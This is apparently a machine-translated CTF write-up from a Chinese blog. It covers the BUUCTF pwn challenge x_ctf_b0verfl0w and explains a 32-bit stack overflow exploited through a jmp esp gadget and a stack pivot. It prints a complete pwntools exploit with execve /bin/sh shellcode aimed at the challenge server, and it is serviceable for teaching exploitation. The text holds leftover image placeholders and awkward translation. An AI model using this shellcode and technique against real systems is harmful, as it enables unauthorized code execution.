[BUUCTF] PWN —— x_ctf_b0verfl0w (El código ensamblador escribe shellcode + instrucción jump esp secuestra esp)

x_ctf_b0verfl0w

anexo

paso

  1. Inspección de rutina, programa de 32 bits, RELRO está habilitado (la tabla obtenida no se puede reescribir)
    Inserte la descripción de la imagen aquí

  2. Intente ejecutar el programa localmente para ver la situación general
    Inserte la descripción de la imagen aquí

  3. Los
    Inserte la descripción de la imagen aquí
    fgets de carga ida de 32 bits pueden desbordarse, pero solo pueden desbordar 0x32-0x20-0x4 = 14 bytes. Dado que nx no está habilitado, lo primero que me viene a la mente es el código shell. 0x20 definitivamente no encajará en el código shell generado por pwntools . Solo puede escribir usted mismo, pero tenemos que encontrar una manera de secuestrar esp para ejecutar nuestro shellcode

  4. El gadget jump esp se encuentra en la función hit,
    Inserte la descripción de la imagen aquí
    por lo que podemos construir una pila de este tipo
    Inserte la descripción de la imagen aquí
    ret está escrito jump esp, después de ejecutar ret, esp + 4 apuntará a sub esp, 0x28; jump esp, y luego ejecutar, esp devolverá Go a la ubicación del shellcode, luego salte esp; se ejecuta el shellcode.
    Para obtener detalles sobre los cambios de esp y eip después de ejecutar ret, consulte este artículo

  5. Cómo escribir shellcode, consulte mi artículo anterior , publicaré directamente la exp aquí

from pwn import *
context.log_level='debug'
r=remote('node3.buuoj.cn',29554)

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print len(shellcode)  #21

jmp_esp=0x8048504
sub_esp_jmp=asm('sub esp,0x28;jmp esp')

payload=shellcode+(0x20-len(shellcode)+4)*'a'+p32(jmp_esp)+sub_esp_jmp

r.sendline(payload)

r.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/113657002
Recomendado
Clasificación